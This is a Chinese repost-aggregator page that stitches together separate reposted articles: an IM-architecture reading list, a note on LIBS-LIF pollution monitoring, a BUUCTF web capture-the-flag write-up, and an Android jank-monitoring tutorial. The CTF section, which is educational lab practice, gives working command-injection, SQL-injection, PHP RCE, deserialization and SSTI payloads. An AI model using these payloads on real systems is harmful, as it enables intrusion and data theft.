《现代IM系统中聊天消息的同步和存储方案探讨》 《IM开发基础知识补课(二):如何设计大量图片文件的服务端存储架构?》 《IM开发基础知识补课(三):快速理解服务端数据库读写分离原理及实践建议》 《IM开发基础知识补课(四):正确理解HTTP短连接中的Cookie、Session和Token》 《WhatsApp技术实践分享:32人工程团队创造的技术神话》 《微信朋友圈千亿访问量背后的技术挑战和实践总结》 《王者荣耀2亿用户量的背后:产品定位、技术架构、网络方案等》 《IM系统的MQ消息中间件选型:Kafka还是RabbitMQ?》 《腾讯资深架构师干货总结:一文读懂大型分布式系统设计的方方面面》 《以微博类应用场景为例,总结海量社交系统的架构设计步骤》 《快速理解高性能HTTP服务端的负载均衡技术原理》 《子弹短信光鲜的背后:网易云信首席架构师分享亿级IM平台的技术实践》 《知乎技术分享:从单机到2000万QPS并发的Redis高性能缓存实践之路》 《IM开发基础知识补课(五):通俗易懂,正确理解并用好MQ消息队列》 《微信技术分享:微信的海量IM聊天消息序列号生成实践(算法原理篇)》 《微信技术分享:微信的海量IM聊天消息序列号生成实践(容灾方案篇)》 《新手入门:零基础理解大型分布式架构的演进历史、技术原理、最佳实践》 《一套高可用、易伸缩、高并发的IM群聊、单聊架构方案设计实践》 《阿里技术分享:深度揭秘阿里数据库技术方案的10年变迁史》 《阿里技术分享:阿里自研金融级数据库OceanBase的艰辛成长之路》 《社交软件红包技术解密(一):全面解密QQ红包技术方案——架构、技术实现等》 《社交软件红包技术解密(二):解密微信摇一摇红包从0到1的技术演进》 《社交软件红包技术解密(三):微信摇一摇红包雨背后的技术细节》 《社交软件红包技术解密(四):微信红包系统是如何应对高并发的》 《社交软件红包技术解密(五):微信红包系统是如何实现高可用性的》 《社交软件红包技术解密(六):微信红包系统的存储层架构演进实践》 《社交软件红包技术解密(七):支付宝红包的海量高并发技术实践》 《社交软件红包技术解密(八):全面解密微博红包技术方案》 《社交软件红包技术解密(九):谈谈手Q红包的功能逻辑、容灾、运维、架构等》 《即时通讯新手入门:一文读懂什么是Nginx?它能否实现IM的负载均衡?》 《即时通讯新手入门:快速理解RPC技术——基本概念、原理和用途》 《多维度对比5款主流分布式MQ消息队列,妈妈再也不担心我的技术选型了》 《从游击队到正规军(一):马蜂窝旅游网的IM系统架构演进之路》 《从游击队到正规军(二):马蜂窝旅游网的IM客户端架构演进和实践总结》 《IM开发基础知识补课(六):数据库用NoSQL还是SQL?读这篇就够了!》 《瓜子IM智能客服系统的数据架构设计(整理自现场演讲,有配套PPT)》 《阿里钉钉技术分享:企业级IM王者——钉钉在后端架构上的过人之处》 >> 更多同类文章 …… (本文同步发布于:http://www.52im.net/thread-2868-1-1.html) 本篇文章为转载内容。原文链接:https://blog.csdn.net/hellojackjiang2011/article/details/103586305。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-04-29 12:29:21
523
转载
转载文章
...IF)的应用研究正在持续取得突破。近期,一项由国际科研团队于2022年开展的最新研究表明,通过优化LIBS-LIF系统的参数设置和数据处理算法,已成功将该技术应用于微塑料污染的实时监测中,这是环境科学领域的又一重大进展。研究人员利用LIBS-LIF技术的高效元素分析能力,实现了对水体、土壤乃至大气中微塑料成分的快速识别与定量分析,为解决日益严重的全球微塑料污染问题提供了有力的技术支持。 此外,随着传感器技术的发展,便携式LIBS-LIF设备的研发也在不断推进。2021年底,某知名科技公司在国际仪器展上展示了其研发的一款轻便型LIBS-LIF检测仪,能够在现场直接完成对重金属污染物的实时检测,极大地提高了环境应急响应速度和精准度。 同时,针对LIBS-LIF技术在土壤重金属检测中的应用,有学者深入探讨了其在复杂地质背景下的适应性及精度提升策略,提出了一种结合深度学习算法进行谱线解卷积和背景扣除的新方法,有望进一步提高LIBS-LIF在实际环境监测中的准确性和可靠性。 综上所述,LIBS-LIF技术作为前沿的元素分析手段,在环境监测方面的潜力正逐渐被挖掘并广泛应用,未来将在更广泛的环境污染治理、生态保护以及环境风险评估等领域发挥重要作用。
2023-08-13 12:41:47
361
转载
转载文章
...断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点: cve-2020-7066利用 老套路:先F12查看源码 发现提示:Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾,这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点: .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素,并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节,看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");} }else{die("再好好想想!");} }else{die("还想读flag,臭弟弟!");} }// highlight_file(__FILE__);?> 既然getshell基本不可能,那么考虑读源码 看源码,flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件,例如: <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数: localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点: current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步:读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数,此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由,就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的,参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的,名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象,hexdigest()是获得加密后的16进制字符串 urllib.unquote() 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog,且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了:secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为:fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入: /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目: 1.tornado是一个python的模板,可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息,想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入: 查字段:1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表: [GXYCTF2019]Ping Ping Ping 考察:RCE的防护绕过 直接构造:?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串: 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么:?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤: 继续构造payload: ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码,得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass,具体看这里 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符2.将某些字符转换为下划线(包括空格) scandir():列出参数目录中的文件和目录 发现/被过滤了 ,可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload: 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典,要带路径 -r 递归跑(查到一个目录后,重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道,如果password=100,username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时,属性个数的值大于实际属性个数时,就可以 2.private修饰符的问题 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover, 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法: flask session 伪造 具体,看这里 flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显: 1' uniunionon selselectect 1,2,3 over!正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接:https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 21:30:33
304
转载
转载文章
...inger将其转成的软件VSYNC信号,经由Binder传递给Choreographer Choreographer: 编舞者,用于注册VSYNC信号并接收VSYNC信号回调,当内部接收到这个信号时最终会调用到doFrame进行帧的绘制操作。 Choreographer在系统中流程: 如何通过Choreographer计算掉帧情况:原理就是: 通过给Choreographer设置FrameCallback,在每次绘制前后看时间差是16.6ms的多少倍,即为前后掉帧率。 使用方式如下: //Application.javapublic void onCreate() {super.onCreate();//在Application中使用postFrameCallbackChoreographer.getInstance().postFrameCallback(new FPSFrameCallback(System.nanoTime()));}public class FPSFrameCallback implements Choreographer.FrameCallback {private static final String TAG = "FPS_TEST";private long mLastFrameTimeNanos = 0;private long mFrameIntervalNanos;public FPSFrameCallback(long lastFrameTimeNanos) {mLastFrameTimeNanos = lastFrameTimeNanos;mFrameIntervalNanos = (long)(1000000000 / 60.0);}@Overridepublic void doFrame(long frameTimeNanos) {//初始化时间if (mLastFrameTimeNanos == 0) {mLastFrameTimeNanos = frameTimeNanos;}final long jitterNanos = frameTimeNanos - mLastFrameTimeNanos;if (jitterNanos >= mFrameIntervalNanos) {final long skippedFrames = jitterNanos / mFrameIntervalNanos;if(skippedFrames>30){//丢帧30以上打印日志Log.i(TAG, "Skipped " + skippedFrames + " frames! "+ "The application may be doing too much work on its main thread.");} }mLastFrameTimeNanos=frameTimeNanos;//注册下一帧回调Choreographer.getInstance().postFrameCallback(this);} } UI绘制全路径分析: 有了前面几个概念,这里我们让SurfaceFlinger结合View的绘制流程用一张图来表达整个绘制流程: 生产者:APP方构建Surface的过程。 消费者:SurfaceFlinger UI绘制全路径分析卡顿原因: 接下来,我们逐个分析,看看都会有哪些原因可能造成卡顿: 1.渲染流程 1.Vsync 调度:这个是起始点,但是调度的过程会经过线程切换以及一些委派的逻辑,有可能造成卡顿,但是一般可能性比较小,我们也基本无法介入; 2.消息调度:主要是 doframe Message 的调度,这就是一个普通的 Handler 调度,如果这个调度被其他的 Message 阻塞产生了时延,会直接导致后续的所有流程不会被触发 3.input 处理:input 是一次 Vsync 调度最先执行的逻辑,主要处理 input 事件。如果有大量的事件堆积或者在事件分发逻辑中加入大量耗时业务逻辑,会造成当前帧的时长被拉大,造成卡顿,可以尝试通过事件采样的方案,减少 event 的处理 4.动画处理:主要是 animator 动画的更新,同理,动画数量过多,或者动画的更新中有比较耗时的逻辑,也会造成当前帧的渲染卡顿。对动画的降帧和降复杂度其实解决的就是这个问题; 5.view 处理:主要是接下来的三大流程,过度绘制、频繁刷新、复杂的视图效果都是此处造成卡顿的主要原因。比如我们平时所说的降低页面层级,主要解决的就是这个问题; 6.measure/layout/draw:view 渲染的三大流程,因为涉及到遍历和高频执行,所以这里涉及到的耗时问题均会被放大,比如我们会降不能在 draw 里面调用耗时函数,不能 new 对象等等; 7.DisplayList 的更新:这里主要是 canvas 和 displaylist 的映射,一般不会存在卡顿问题,反而可能存在映射失败导致的显示问题; 8.OpenGL 指令转换:这里主要是将 canvas 的命令转换为 OpenGL 的指令,一般不存在问题 9.buffer 交换:这里主要指 OpenGL 指令集交换给 GPU,这个一般和指令的复杂度有关 10.GPU 处理:顾名思义,这里是 GPU 对数据的处理,耗时主要和任务量和纹理复杂度有关。这也就是我们降低 GPU 负载有助于降低卡顿的原因; 11.layer 合成:Android P 修改了 Layer 的计算方法 , 把这部分放到了 SurfaceFlinger 主线程去执行, 如果后台 Layer 过多, 就会导致 SurfaceFlinger 在执行 rebuildLayerStacks 的时候耗时 , 导致 SurfaceFlinger 主线程执行时间过长。 可以选择降低Surface层级来优化卡顿。 12.光栅化/Display:这里暂时忽略,底层系统行为; Buffer 切换:主要是屏幕的显示,这里 buffer 的数量也会影响帧的整体延迟,不过是系统行为,不能干预。 2.系统负载 内存:内存的吃紧会直接导致 GC 的增加甚至 ANR,是造成卡顿的一个不可忽视的因素; CPU:CPU 对卡顿的影响主要在于线程调度慢、任务执行的慢和资源竞争,比如 1.降频会直接导致应用卡顿; 2.后台活动进程太多导致系统繁忙,cpu \ io \ memory 等资源都会被占用, 这时候很容易出现卡顿问题 ,这种情况比较常见,可以使用dumpsys cpuinfo查看当前设备的cpu使用情况: 3.主线程调度不到 , 处于 Runnable 状态,这种情况比较少见 4.System 锁:system_server 的 AMS 锁和 WMS 锁 , 在系统异常的情况下 , 会变得非常严重 , 如下图所示 , 许多系统的关键任务都被阻塞 , 等待锁的释放 , 这时候如果有 App 发来的 Binder 请求带锁 , 那么也会进入等待状态 , 这时候 App 就会产生性能问题 ; 如果此时做 Window 动画 , 那么 system_server 的这些锁也会导致窗口动画卡顿 GPU:GPU 的影响见渲染流程,但是其实还会间接影响到功耗和发热; 功耗/发热:功耗和发热一般是不分家的,高功耗会引起高发热,进而会引起系统保护,比如降频、热缓解等,间接的导致卡顿。 如何监控卡顿 线下监控: 我们知道卡顿问题的原因错综复杂,但最终都可以反馈到CPU使用率上来 1.使用dumpsys cpuinfo命令 这个命令可以获取当时设备cpu使用情况,我们可以在线下通过重度使用应用来检测可能存在的卡顿点 A8S:/ $ dumpsys cpuinfoLoad: 1.12 / 1.12 / 1.09CPU usage from 484321ms to 184247ms ago (2022-11-02 14:48:30.793 to 2022-11-02 14:53:30.866):2% 1053/scanserver: 0.2% user + 1.7% kernel0.6% 934/system_server: 0.4% user + 0.1% kernel / faults: 563 minor0.4% 564/signserver: 0% user + 0.4% kernel0.2% 256/ueventd: 0.1% user + 0% kernel / faults: 320 minor0.2% 474/surfaceflinger: 0.1% user + 0.1% kernel0.1% 576/vendor.sprd.hardware.gnss@2.0-service: 0.1% user + 0% kernel / faults: 54 minor0.1% 286/logd: 0% user + 0% kernel / faults: 10 minor0.1% 2821/com.allinpay.appstore: 0.1% user + 0% kernel / faults: 1312 minor0.1% 447/android.hardware.health@2.0-service: 0% user + 0% kernel / faults: 1175 minor0% 1855/com.smartpos.dataacqservice: 0% user + 0% kernel / faults: 755 minor0% 2875/com.allinpay.appstore:pushcore: 0% user + 0% kernel / faults: 744 minor0% 1191/com.android.systemui: 0% user + 0% kernel / faults: 70 minor0% 1774/com.android.nfc: 0% user + 0% kernel0% 172/kworker/1:2: 0% user + 0% kernel0% 145/irq/24-70900000: 0% user + 0% kernel0% 575/thermald: 0% user + 0% kernel / faults: 300 minor... 2.CPU Profiler 这个工具是AS自带的CPU性能检测工具,可以在PC上实时查看我们CPU使用情况。 AS提供了四种Profiling Model配置: 1.Sample Java Methods:在应用程序基于Java的代码执行过程中,频繁捕获应用程序的调用堆栈 获取有关应用程序基于Java的代码执行的时间和资源使用情况信息。 2.Trace java methods:在运行时对应用程序进行检测,以在每个方法调用的开始和结束时记录时间戳。收集时间戳并进行比较以生成方法跟踪数据,包括时序信息和CPU使用率。 请注意与检测每种方法相关的开销会影响运行时性能,并可能影响性能分析数据。对于生命周期相对较短的方法,这一点甚至更为明显。此外,如果您的应用在短时间内执行大量方法,则探查器可能会很快超过其文件大小限制,并且可能无法记录任何进一步的跟踪数据。 3.Sample C/C++ Functions:捕获应用程序本机线程的示例跟踪。要使用此配置,您必须将应用程序部署到运行Android 8.0(API级别26)或更高版本的设备。 4.Trace System Calls:捕获细粒度的详细信息,使您可以检查应用程序与系统资源的交互方式 您可以检查线程状态的确切时间和持续时间,可视化CPU瓶颈在所有内核中的位置,并添加自定义跟踪事件进行分析。在对性能问题进行故障排除时,此类信息可能至关重要。要使用此配置,您必须将应用程序部署到运行Android 7.0(API级别24)或更高版本的设备。 使用方式: Debug.startMethodTracing("");// 需要检测的代码片段...Debug.stopMethodTracing(); 优点:有比较全面的调用栈以及图像化方法时间显示,包含所有线程的情况 缺点:本身也会带来一点的性能开销,可能会带偏优化方向 火焰图:可以显示当前应用的方法堆栈: 3.Systrace Systrace在前面一篇分析启动优化的文章讲解过 这里我们简单来复习下: Systrace用来记录当前应用的系统以及应用(使用Trace类打点)的各阶段耗时信息包括绘制信息以及CPU信息等。 使用方式: Trace.beginSection("MyApp.onCreate_1");alt(200);Trace.endSection(); 在命令行中: python systrace.py -t 5 sched gfx view wm am app webview -a "com.chinaebipay.thirdcall" -o D:\trac1.html 记录的方法以及CPU中的耗时情况: 优点: 1.轻量级,开销小,CPU使用率可以直观反映 2.右侧的Alerts能够根据我们应用的问题给出具体的建议,比如说,它会告诉我们App界面的绘制比较慢或者GC比较频繁。 4.StrictModel StrictModel是Android提供的一种运行时检测机制,用来帮助开发者自动检测代码中不规范的地方。 主要和两部分相关: 1.线程相关 2.虚拟机相关 基础代码: private void initStrictMode() {// 1、设置Debug标志位,仅仅在线下环境才使用StrictModeif (DEV_MODE) {// 2、设置线程策略StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().detectCustomSlowCalls() //API等级11,使用StrictMode.noteSlowCode.detectDiskReads().detectDiskWrites().detectNetwork() // or .detectAll() for all detectable problems.penaltyLog() //在Logcat 中打印违规异常信息// .penaltyDialog() //也可以直接跳出警报dialog// .penaltyDeath() //或者直接崩溃.build());// 3、设置虚拟机策略StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().detectLeakedSqlLiteObjects()// 给NewsItem对象的实例数量限制为1.setClassInstanceLimit(NewsItem.class, 1).detectLeakedClosableObjects() //API等级11.penaltyLog().build());} } 线上监控: 线上需要自动化的卡顿检测方案来定位卡顿,它能记录卡顿发生时的场景。 自动化监控原理: 采用拦截消息调度流程,在消息执行前埋点计时,当耗时超过阈值时,则认为是一次卡顿,会进行堆栈抓取和上报工作 首先,我们看下Looper用于执行消息循环的loop()方法,关键代码如下所示: / Run the message queue in this thread. Be sure to call {@link quit()} to end the loop./public static void loop() {...for (;;) {Message msg = queue.next(); // might blockif (msg == null) {// No message indicates that the message queue is quitting.return;// This must be in a local variable, in case a UI event sets the loggerfinal Printer logging = me.mLogging;if (logging != null) {// 1logging.println(">>>>> Dispatching to " + msg.target + " " +msg.callback + ": " + msg.what);}...try {// 2 msg.target.dispatchMessage(msg);dispatchEnd = needEndTime ? SystemClock.uptimeMillis() : 0;} finally {if (traceTag != 0) {Trace.traceEnd(traceTag);} }...if (logging != null) {// 3logging.println("<<<<< Finished to " + msg.target + " " + msg.callback);} 在Looper的loop()方法中,在其执行每一个消息(注释2处)的前后都由logging进行了一次打印输出。可以看到,在执行消息前是输出的">>>>> Dispatching to “,在执行消息后是输出的”<<<<< Finished to ",它们打印的日志是不一样的,我们就可以由此来判断消息执行的前后时间点。 具体的实现可以归纳为如下步骤: 1、首先,我们需要使用Looper.getMainLooper().setMessageLogging()去设置我们自己的Printer实现类去打印输出logging。这样,在每个message执行的之前和之后都会调用我们设置的这个Printer实现类。 2、如果我们匹配到">>>>> Dispatching to "之后,我们就可以执行一行代码:也就是在指定的时间阈值之后,我们在子线程去执行一个任务,这个任务就是去获取当前主线程的堆栈信息以及当前的一些场景信息,比如:内存大小、电脑、网络状态等。 3、如果在指定的阈值之内匹配到了"<<<<< Finished to ",那么说明message就被执行完成了,则表明此时没有产生我们认为的卡顿效果,那我们就可以将这个子线程任务取消掉。 这里我们使用blockcanary来做测试: BlockCanary APM是一个非侵入式的性能监控组件,可以通过通知的形式弹出卡顿信息。它的原理就是我们刚刚讲述到的卡顿监控的实现原理。 使用方式: 1.导入依赖 implementation 'com.github.markzhai:blockcanary-android:1.5.0' Application的onCreate方法中开启卡顿监控 // 注意在主进程初始化调用BlockCanary.install(this, new AppBlockCanaryContext()).start(); 3.继承BlockCanaryContext类去实现自己的监控配置上下文类 public class AppBlockCanaryContext extends BlockCanaryContext {....../ 指定判定为卡顿的阈值threshold (in millis), 你可以根据不同设备的性能去指定不同的阈值 @return threshold in mills/public int provideBlockThreshold() {return 1000;}....} 4.在Activity的onCreate方法中执行一个耗时操作 try {Thread.sleep(4000);} catch (InterruptedException e) {e.printStackTrace();} 5.结果: 可以看到一个和LeakCanary一样效果的阻塞可视化堆栈图 那有了BlockCanary的方法耗时监控方式是不是就可以解百愁了呢,呵呵。有那么容易就好了 根据原理:我们拿到的是msg执行前后的时间和堆栈信息,如果msg中有几百上千个方法,就无法确认到底是哪个方法导致的耗时,也有可能是多个方法堆积导致。 这就导致我们无法准确定位哪个方法是最耗时的。如图中:堆栈信息是T2的,而发生耗时的方法可能是T1到T2中任何一个方法甚至是堆积导致。 那如何优化这块? 这里我们采用字节跳动给我们提供的一个方案:基于 Sliver trace 的卡顿监控体系 Sliver trace 整体流程图: 主要包含两个方面: 检测方案: 在监控卡顿时,首先需要打开 Sliver 的 trace 记录能力,Sliver 采样记录 trace 执行信息,对抓取到的堆栈进行 diff 聚合和缓存。 同时基于我们的需要设置相应的卡顿阈值,以 Message 的执行耗时为衡量。对主线程消息调度流程进行拦截,在消息开始分发执行时埋点,在消息执行结束时计算消息执行耗时,当消息执行耗时超过阈值,则认为产生了一次卡顿。 堆栈聚合策略: 当卡顿发生时,我们需要为此次卡顿准备数据,这部分工作是在端上子线程中完成的,主要是 dump trace 到文件以及过滤聚合要上报的堆栈。分为以下几步: 1.拿到缓存的主线程 trace 信息并 dump 到文件中。 2.然后从文件中读取 trace 信息,按照数据格式,从最近的方法栈向上追溯,找到当前 Message 包含的全部 trace 信息,并将当前 Message 的完整 trace 写入到待上传的 trace 文件中,删除其余 trace 信息。 3.遍历当前 Message trace,按照(Method 执行耗时 > Method 耗时阈值 & Method 耗时为该层堆栈中最耗时)为条件过滤出每一层函数调用堆栈的最长耗时函数,构成最后要上报的堆栈链路,这样特征堆栈中的每一步都是最耗时的,且最底层 Method 为最后的耗时大于阈值的 Method。 之后,将 trace 文件和堆栈一同上报,这样的特征堆栈提取策略保证了堆栈聚合的可靠性和准确性,保证了上报到平台后堆栈的正确合理聚合,同时提供了进一步分析问题的 trace 文件。 可以看到字节给的是一整套监控方案,和前面BlockCanary不同之处就在于,其是定时存储堆栈,缓存,然后使用diff去重的方式,并上传到服务器,可以最大限度的监控到可能发生比较耗时的方法。 